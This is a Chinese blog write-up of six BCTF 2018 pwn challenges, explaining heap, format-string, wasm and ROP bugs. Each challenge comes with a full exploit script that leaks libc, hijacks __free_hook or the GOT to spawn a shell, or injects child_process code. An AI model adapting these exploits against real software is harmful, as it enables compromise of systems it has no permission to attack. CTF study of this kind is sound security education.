骑麦兜看落日

[WriteUp]2018BCTF

字数统计: 3.8k阅读时长: 19 min
2018/11/27 Share

PWN


easiest


题目信息

Basic tech for pwner.

nc 39.96.9.148 9999


程序分析

1
2
3
4
5
6
7
8
$ file easiest 
easiest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=90da1fce24ce6087ff8baf8ed8265bace7c276b4, stripped
$ checksec easiest
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题过程

程序有两个功能,add和’delete’,其中delete()存在UAF,但是无法leak和编辑,很明显可以fastbin_dup

因为没有开PIE,我们可以利用程序的地址,但是由于fastbin存在对size域的检查,我们需要利用错位来得到合法的size

程序中有三处

1
2
0x60207a:       0x083600007ffff7a7      0x0000000000000040
0x60208a: 0x0000000000000000 0x0000000000000000
1
2
0x60209d:       0xfff7dd2620000000      0x000000000000007f
0x6020ad: 0xfff7dd18e0000000 0x000000000000007f

但是这三处的利用都有些麻烦

看了师傅们的wp发现还可以用其他地方的,比如

1
2
3
0x60202a:       0x079600007ffff7a7      0x36b0000000000040
0x60203a: 0x07b600007ffff7a8 0x2800000000000040
0x60204a: 0x920000007ffff7a6 0xd74000007ffff7ad

虽然看上去这样的size并不合法,但是查看汇编会发现

1
2
3
4
5
0x7facc7f87e8e <_int_malloc+782>    mov    eax, dword ptr [r15 + 8]
0x7facc7f87e92 <_int_malloc+786> shr eax, 4
0x7facc7f87e95 <_int_malloc+789> sub eax, 2
0x7facc7f87e98 <_int_malloc+792> cmp edi, eax
0x7facc7f87e9a <_int_malloc+794> jne _int_malloc+2388 <0x7facc7f884d4>

这里的size域是4字节的,而不是定义的8字节,具体原因不清楚,可能是优化?

这样直接覆盖下面函数的got就可以了


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux', terminal = ['tmux','splitw','-h'])

exe = './easiest'
elf = ELF(exe)

io = process(exe)#, env={"LD_PRELOAD":libc.path})

def gdb(script=''):
attach(io,gdbscript=script)

def choice(idx):
io.recvuntil('HI!')
io.sendline(str(idx))

def add(idx,C):
choice(1)
io.recvuntil('(0-11):')
io.sendline(str(idx))
io.recvuntil('Length:')
io.sendline(str(len(C)))
io.recvuntil('C:')
io.send(C)

def delete(idx):
choice(2)
io.recvuntil('(0-11):')
io.sendline(str(idx))

system_addr = 0x400946
fake_chunk = 0x60203a

add(0,'A'*0x30)
add(1,'B'*0x30)
delete(0)
delete(1)
delete(0)

payload = ''
payload += '\x00'*6
payload += p64(system_addr)*3
payload += 'C'*(0x30-len(payload))

add(2,p64(fake_chunk)+'D'*0x30)
add(3,'E'*0x30)
add(4,'F'*0X30)
add(5,payload)
choice(1)
io.recv()

io.interactive()

three


题目信息

This is a baby challenge to warm you up for the harder one.

nc 39.96.13.122 9999


程序分析

1
2
3
4
5
6
7
8
$ file three 
three: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=340a44173cd2c079228c4207d1caa9b56a61407e, not stripped
$ checksec three
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题过程

本题和2018 HITCON BabyTcache思路差不多,都是在没有leak函数的情况下通过tcache控制_IO_FILE

程序存在三个功能alloc()edit()del()

其中free后可以造成UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 del()
{
__int64 i; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Input the idx:");
LODWORD(i) = getint();
if ( (signed int)i >= 0 && (signed int)i <= 2 && notes[(signed int)i] )
{
free(notes[(signed int)i]);
printf("Clear?(y/n):", i);
readn((char *)&i + 6, 2uLL);
if ( BYTE6(i) == 'y' )
notes[(signed int)i] = 0LL;
puts("Done!");
}
else
{
puts("No such note!");
}
return __readfsqword(0x28u) ^ v2;
}

并且程序只可以申请三个chunk

由于libc库在2.26之后加入了Tcache,可以利用Tcache进行攻击

首先构造一条Tcache链表,利用UAF将链表指向申请chunk的上方来伪造tcache chunk的size域,当tcachebins满了之后将fake chunk放入unsorted bin,获得libc地址

通过伪造tcachebin chunk的fd域将其指向_IO_stdout,控制其IO_write_base来leak出libc的地址,_IO_FILE需要满足条件

1
2
3
f->_flags & _IO_NO_WRITES == 0
f->_flags & _IO_CURRENTLY_PUTTING != 0
fp->_flags & _IO_IS_APPENDING) != 0

f->_flags=0xfbad1800

leak出libc地址后把one_gadget覆盖到_free_hook即可


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/env python

from pwn import *

context(log_level = 'debug',aslr = True, arch = 'amd64', os = 'linux')

exe = 'three'
lib = 'libc.so.6'
elf = ELF(exe)
libc = ELF(lib)

while True:
try:
io = process(exe)

def gdb(script=''):
attach(io,gdbscript=script)

def alloc(content):
io.recvuntil('Your choice:')
io.sendline('1')
io.recvuntil('Input the content:')
io.send(content)

def edit(idx,content):
io.recvuntil('Your choice:')
io.sendline('2')
io.recvuntil('Input the idx:')
io.sendline(str(idx))
io.recvuntil('Input the content:')
io.send(content)

def dele(idx,opt):
io.recvuntil('Your choice:')
io.sendline('3')
io.recvuntil('Input the idx:')
io.sendline(str(idx))
io.recvuntil('Clear?(y/n):')
io.sendline(opt)

# initialize
alloc('A'*8)
alloc(p64(0x11)*8)

# modify chain
dele(1,'y')
dele(0,'n')
edit(0,p8(0x50))

# free a unsorted bin chunk
alloc('B'*8)
alloc('C'*8)
dele(1,'n')
dele(1,'y')
edit(2,p64(0)+p64(0x91))
dele(0,'n')
dele(0,'n')
dele(0,'n')
dele(0,'n')
dele(0,'n')
dele(0,'n')
dele(0,'n')
dele(0,'y')

# alloc to _IO_stdout
payload = ''
payload += p64(0)
payload += p64(0x51)
payload += p16(0x7760)

edit(2,payload)
alloc('D'*8)

# leak libc_addr
payload = ''
payload += p64(0xfbad1800)
payload += p64(0)*3
payload += p8(0)
alloc(payload)
io.recv(8)
libc.address = u64(io.recv(8))-0x3ed8b0

# one_gadget
dele(0,'n')
dele(0,'y')
payload = ''
payload += p64(0)
payload += p64(0x81)
payload += p64(libc.sym['__free_hook'])
edit(2,payload)
alloc('E'*8)
dele(0,'y')
alloc(p64(libc.address+0x4f322))

io.recvuntil('Your choice:')
io.sendline('3')
io.recvuntil('Input the idx:')
io.sendline('0')
break

except:
io.close()

io.interactive()

hardcore_fmt


题目信息

nc 39.106.110.69 9999


程序分析

1
2
3
4
5
6
7
8
9
$ file hardcore_fmt 
hardcore_fmt: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4211d00aacd7ec376353515ea3535062567d8d87, not stripped
$ checksec hardcore_fmt
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

解题过程

正好之前的HCTF也有考到这个,__printf_chk函数限制了任意写,并且寄存器和栈被覆盖为-1,不过还是可以通过%a泄露出一些东西,程序可以输入11个字节

1
2
3
Welcome to hard-core fmt
%a%a%a%a%a
0x0p+00x0.0000000000001p-10220x0.07f00ed07b1p-10220x0.07f00ed0655p-10220x0.0000000000d68p-1022

其实我也不知道leak出的哪里的值,可能是浮点数寄存器里的值?

反正很明显,其中有一个是libc的地址,另一个,貌似是tls的地址

1
2
0x0.07f00ed07b1p-1022
0x0.07f00ed0655p-1022

所以思路很明确,首先通过格式化字符串漏洞leak出libc的地址和tls的地址,然后通过tls地址leak出canary的值,最后通过gets函数溢出


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')#, terminal = ['tmux','splitw','-h'])

exe = './hardcore_fmt'
lib = './libc-2.27.so'
elf = ELF(exe)
libc = ELF(lib)
ip = ''
port = 0

io = process(exe)#, env={"LD_PRELOAD":libc.path})
#io = remote(ip,port)

def gdb(script=''):
attach(io,gdbscript=script)

io.recvuntil('Welcome to hard-core fmt')
io.sendline('%a%a#%a#%a')

io.recvuntil('#0x0.0')
leak_addr1 = io.recv(10).ljust(12,'0')
libc.address = int(leak_addr1,16)-0x61a100

io.recvuntil('#0x0.0')
leak_addr2 = io.recv(10).ljust(12,'0')
canary_addr = int(leak_addr2,16)+0x28+1

io.sendline(str(canary_addr))
io.recvuntil(hex(canary_addr)+': ')
canary = u64(io.recv(7).rjust(8,'\x00'))
io.recv()

one_gadget = 0x4f2c5

payload = 'A'*0x108
payload += p64(canary)
payload += p64(0)
payload += p64(0)*2
payload += p64(libc.address+one_gadget)

io.sendline(payload)

io.interactive()

easywasm


题目信息

http://39.96.13.247:9999


解题过程

wasm题目以前没有接触过,花费了很大力气才弄明白一点

做这道题先是想着看汇编,但是又看不懂这种汇编

然后尝试用ida打开,无法反汇编,下载插件idawasm,bug非常多,反汇编只进行了一半,也没有交叉引用,也没有程序流程,不知道一些wp说用idawasm逆向是怎么做到的

最后重新回头看汇编,发现其实除了麻烦了点不太难

借助两个官方工具wasm2watwasm2c分析效果更佳

反编译出的c文件和汇编基本是一一对应的,但是不够直观,手动整理了一下几个关键函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// p0 = name, p1 = is_tutor
static u32 _add_person(u32 p0, u32 p1) {
u32 idx, p_isused, isused, p_name;

l36 = g12;
g12 += 16u;

for (idx=0; idx<1000u; ++idx) {
p_isused = idx * 72u + 4064u + 4u;
isused = i32_load(Z_envZ_memory, (p_isused));
if (!(isused)) {
l35 = 6u;
break;
}
}
if (l35 == 6u) {
p_id = idx * 72u + 4064u;
i32_store(Z_envZ_memory, p_id, idx);
p_isused = idx * 72u + 4064u + 4u;
i32_store(Z_envZ_memory, p_isused, 1u);
}
p_name = idx * 72u + 4064u + 8u;
f80(p_name, p0);
p_istutor = idx * 72u + 4064u + 68u;
i32_store(Z_envZ_memory, p_istutor, 5u);
p_istutor = idx * 72u + 4064u + 68u;
if (p1) {
i32_store(Z_envZ_memory, p_istutor, 6u);
} else {
i32_store(Z_envZ_memory, p_istutor, 7u);
}
g12 = l36;
return idx;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// p0 = id, p1 = name
static u32 _change_name(u32 p0, u32 p1) {
u32 p_isused, isused, p_name;

l21 = g12;
g12 += 16u;

if (!((p0 < 0u) || (p0 >= 1000u))) {
p_isused = p0 * 72u + 4064u + 4u;
isused = i32_load(Z_envZ_memory, l3);
if (isused) {
p_name = p0 * 72u + 4064u + 8u;
f80(p_name, p1);
g12 = l21;

return 0;
}
}
f85(3988u);
g12 = l21;

return -1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// p0 = id
static u32 _intro(u32 p0) {
u32 p_isused, isused, p_name, istutor;

l22 = g12;
g12 += 16u;

if (!((p0 < 0u) || p0 >= 1000u)) {
p_isused = p0 * 72u + 4064u + 4u;
isused = i32_load(Z_envZ_memory, p_isused);

if (isused) {
p_istutor = p0 * 72u + 4064u + 68u;
istutor = i32_load(Z_envZ_memory, p_istutor);
p_name = p0 * 72u + 4064u + 8u;
idx = (istutor & 7u) + 18u;
CALL_INDIRECT((*Z_envZ_table), void (*)(u32), 0, idx, p_name);

g12 = l22;
return 0u;
}
}
g12 = l22;
return -1;
}

将反编译出的c文件经过整理后差不多是上边的情况,这三个函数与NodeJS中一致,逆向角度看属于偏简单的逆向题,还是稍微分析一下

在介绍之前先讲两个指令i32_loadi32_store,i32_load指令读取指针的值,i32_store指令给指针赋值

第一个函数_add_person,首先通过isused的值遍历到当前结构体,分别保存indexisusednameistutor的值,其中istutor的值根据输入赋值为6或7

第二个函数_change_name,判断当前的isused值是否为真,然后修改name的值

第三个函数_intro,判断当前的isused值是否为真,然后根据istutor的值调用函数指针

这里引用一下r3kapig的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
+------------------------------+
| |
| index(4 byte) |
| |
+------------------------------+
| |
| isused(4 byte) |
| |
+------------------------------+
| |
| |
| |
| name(60 byte) |
| |
| |
| |
| |
+------------------------------+
| |
| istutor(4 byte) |
| |
+------------------------------+

变量布局如上

很容易发现如果我们能控制istutor变量那么我们就可以劫持控制流,控制istutor变量可以通过_change_name函数修改name时覆盖,_change_name函数在修改name时调用了f80函数,这个函数没有具体分析,但是应该和字符串函数有关,而且不会限制字符串的长度

分析代码CALL_INDIRECT((*Z_envZ_table), void (*)(u32), 0, idx, p_name);,从官方文档可以看到相关资料

每个WebAssembly实例都有一个特别指定的缺省表,可以被call_indirect 和其他未来的表运算符索引。表要么是被 导入 , 要么是 模块内定义的。这两种方式对后续的表内调用访问没有区别。

表中内容如下

1
2
3
(*Z_envZ_table).data[offset + 23] = (wasm_rt_elem_t){func_types[0], (wasm_rt_anyfunc_t)Z_envZ__emscripten_run_scriptZ_vi};
(*Z_envZ_table).data[offset + 24] = (wasm_rt_elem_t){func_types[0], (wasm_rt_anyfunc_t)(&_tutor_hello)};
(*Z_envZ_table).data[offset + 25] = (wasm_rt_elem_t){func_types[0], (wasm_rt_anyfunc_t)(&f25)};

其中函数emscripten_run_script存在安全隐患

If an attacker can control the string passed to emscripten_run_script(), they can conduct a cross-site
scripting attack. However, this isn’t the only way to exploit this function. Recall that attacker-controlled
function pointers can be used for code reuse attacks. If an attacker can overwrite a function pointer intended
to be used to access a function with a matching signature and is additionally able to control a parameter in-
tended for that function, they can achieve cross-site scripting by invoking emscripten_run_script instead
of the intended target function. This attack scenario is similar to abusing an overwritten function pointer to
call system() to achieve arbitrary system command execution in a traditional libc environment.

因此如果我们控制函数指针指向这个函数,就可以实现任意js代码执行

istutor & 7u=5


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python

import requests

url = 'http://127.0.0.1:23333/'

# methon
add_person = url + 'add_person'
change_name = url + 'change_name'
intro = url + 'intro'

# key
id = 'id'
name = 'name'

# create
params = {
name : 'A'
}
r = requests.get(add_person,params=params)
value = r.text.split('=')[1]

# change
# overflow function pointer
payload = ''
payload += '/*'
payload += '5'*60
payload += '*/'
payload += "console.log('test:');"
payload += "const exec = require('child_process').exec;"
payload += "const child = exec('dir',function(error, stdout, stderr){process.stdout.write(stdout);});"
payload += "console.log('test.');"

params = {
name : payload,
id : value
}
requests.get(change_name,params=params)

# intro
# vulnerability
params = {
id : value
}
requests.get(intro,params=params)

相关资料


houseofAtum


题目信息

Atum is Ne0’s big brother. So Ne0 made this challenge to show his respect to Atum

nc 60.205.224.216 9999


程序分析

1
2
3
4
5
6
7
8
$ file houseofAtum 
houseofAtum: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ac40687beee1b00aa55c6dc25d383a41fbfdb0e2, not stripped
$ checksec houseofAtum
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题过程

如出题人所言,This is a much more insteresting challenge.感谢Ne0爷爷出的题

这道题的思路是利用tcache和fastbin的不同机制来申请任意地址内存,即tcache的next域指向下一个tcache的next

1
2
3
4
5
+-----------+-----------+      +-----------+-----------+
| prev_size | size | | prev_size | size |
+-----------+-----------+ +-----------+-----------+
| next | >--------------> | next |
+-----------+ +-----------+

而fastbin的fd域指向下一个fastbin的prev_size

1
2
3
4
5
+-----------+-----------+      +-----------+-----------+
| prev_size | size | +-> | prev_size | size |
+-----------+-----------+ | +-----------+-----------+
| fd | >------------+ | fd |
+-----------+ +-----------+

出题人分析这么做的原因是

This is because tcache doesn’t check the size or other things when allocating and pointing directly to the address which user can control is more appropriate.

当然原因不太重要,重要是利用这个机制我们可以申请任意地址内存

官方poc如下

1
2
3
4
5
6
7
8
9
10
11
12
void *a = malloc(0x28);
void *b = malloc(0x28);

// fill the tcache
for(int i=0; i<7 ;i++){
free(a);
}

free(b);

//What will happen with this:
free(a);

前七次free之后会构造tcache链a->a<-a

此时释放b会进入到fastbin中,再次释放a后a的fd域指向b的prev_size域,最终达到混淆的目的

exp是一步一步调试出来的,总结起来也有点懵,大致分为几个步骤

  1. 由于存在UAF,并且使用了tcache机制,可以先填充满tcachebins
  2. 此时tcache的next域指向了它自己,因此可以leak出heap地址
  3. 利用tcache和fastbin的不同机制来伪造tcache链指向一个可控的区域
  4. 在可控区域伪造unsortedbin并释放得到libc地址
  5. 将tcache链指向__free_hook

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python

from pwn import *
context(log_level = 'debug', aslr = False, arch = 'amd64', os = 'linux')#, terminal = ['tmux','splitw','-h'])

exe = './houseofAtum'
lib = './libc.so.6'
ip = ''
port = 0
elf = ELF(exe)
libc = ELF(lib)

io = process(exe)#, env={"LD_PRELOAD":libc.path})
#io = remote(ip, port)

def gdb(script = ''):
attach(io,gdbscript = script)

def allo(content):
io.recvuntil('Your choice:')
io.sendline('1')
io.recvuntil('Input the content:')
io.send(content)

def edit(idx, content):
io.recvuntil('Your choice:')
io.sendline('2')
io.recvuntil('Input the idx:')
io.sendline(str(idx))
io.recvuntil('Input the content:')
io.send(content)

def dele(idx, flag='y', shell=False):
io.recvuntil('Your choice:')
io.sendline('3')
io.recvuntil('Input the idx:')
io.sendline(str(idx))
if not shell:
io.recvuntil('Clear?(y/n):')
io.sendline(flag)

def show(idx):
io.recvuntil('Your choice:')
io.sendline('4')
io.recvuntil('Input the idx:')
io.sendline(str(idx))
io.recvuntil('Content:')
data = io.recvline()
addr = u64(data.strip().ljust(8,'\x00'))
return addr

def pay(dest1=0,dest2=0,size=0x91):
payload = ''
payload += p64(0)
payload += p64(size)
payload += p64(dest1)
payload += p64(0x41)*5
payload += p64(dest2)

return payload

payload = pay()
allo(payload)
allo(payload)

# construct the tcache chain
for i in range(7):
dele(0, 'n')

# leak heap addr
heap_addr = show(0) - 0x260

# construct the fake tcache chain
# because tcache->next and fastbin->fd are different pointers
dele(1)
dele(0)

payload = pay(heap_addr+0x2b0,heap_addr+0x270)

allo(payload)
allo(payload)
dele(1)

# leak libc addr
# by freeing a fake unsortedbin chun
allo(payload)

for i in range(7):
dele(1, 'n')

dele(1)
libc.address = show(0) - 0x3ebca0

# modify the tcache chain point to __free_hook
allo(payload)
dele(1)

payload = pay(libc.sym['__free_hook'],size=0x41)
edit(0,payload)

allo(payload)
dele(1)

# modify the __free_hook point to one_gadget
one_gadget = p64(libc.address+0x4f322)
allo(one_gadget)
dele(1, shell=True)

io.interactive()

相关资料


SOS


题目信息

nc 39.96.8.50 9999


程序分析

1
2
3
4
5
6
7
8
$ file SOS 
SOS: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=14c8a309bf031681a9ca5e57f3e3aad60b46bcbc, stripped
$ checksec SOS
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题过程

这道题算是BCTF里最简单的一道题了,然鹅我还是卡壳了一下

程序流程很简单,先输入size,然后分配空间,输入字符串

这里的size对后续流程没有影响,但是由于是cpp写的,所以遵循cpp的字符串规则,size应该小于15才能把字符串分配到栈上

之后输入字符串存在明显溢出,但是read是一个一个读的,终止条件是read函数返回0或-1,返回0的情况是读到EOF,通常是CTRL+D,看了大师傅的wp知道还有一种是pwntools的shutdown,但是这样程序就结束进程了,无法继续进行

返回0的方式做不到,就用返回-1的方式,触发错误很简单,只要读到非法地址就可以了

接下来就是常规的ROP,通过puts函数leak出libc的地址,然后返回到one_gadget,这里有一点是本来想走流程调用system函数,但是无法满足条件,所以直接用one_gadget了


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux', aslr = False, terminal = ['tmux','splitw','-h'])

exe = './SOS'
lib = './libc-2.27.so'
ip = ''
port = 0
elf = ELF(exe)
libc = ELF(lib)

io = process(exe, env={"LD_PRELOAD":libc.path})
#io = remote(ip, port)

def gdb(script = ''):
attach(io,gdbscript = script)

pop_rdi = 0x0000000000400c53
main_addr = 0x0000000000400AFC
one_gadget = 0x4f2c5
size = 0x8
payload = ''
payload += p64(size)*7
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.sym['puts'])
payload += p64(main_addr)
payload += '\x00'*0x1000

io.recvuntil('Give me the string size:')
io.sendline(str(size))
io.recvuntil('Alright, input your SOS code:')
io.send(payload)
io.recvline()
libc.address = u64(io.recvline().strip().ljust(8, '\x00')) - libc.sym['puts']

payload = ''
payload += p64(size)*7
payload += p64(libc.address+one_gadget)
payload += '\x00'*0x1000

io.recvuntil('Alright, input your SOS code:')
io.sendline(payload)

io.interactive()

相关资料

CATALOG
  1. 1. PWN
    1. 1.1. easiest
      1. 1.1.1. 题目信息
      2. 1.1.2. 程序分析
      3. 1.1.3. 解题过程
      4. 1.1.4. EXP
    2. 1.2. three
      1. 1.2.1. 题目信息
      2. 1.2.2. 程序分析
      3. 1.2.3. 解题过程
      4. 1.2.4. EXP
    3. 1.3. hardcore_fmt
      1. 1.3.1. 题目信息
      2. 1.3.2. 程序分析
      3. 1.3.3. 解题过程
      4. 1.3.4. EXP
    4. 1.4. easywasm
      1. 1.4.1. 题目信息
      2. 1.4.2. 解题过程
      3. 1.4.3. EXP
      4. 1.4.4. 相关资料
    5. 1.5. houseofAtum
      1. 1.5.1. 题目信息
      2. 1.5.2. 程序分析
      3. 1.5.3. 解题过程
      4. 1.5.4. EXP
      5. 1.5.5. 相关资料
    6. 1.6. SOS
      1. 1.6.1. 题目信息
      2. 1.6.2. 程序分析
      3. 1.6.3. 解题过程
      4. 1.6.4. EXP
      5. 1.6.5. 相关资料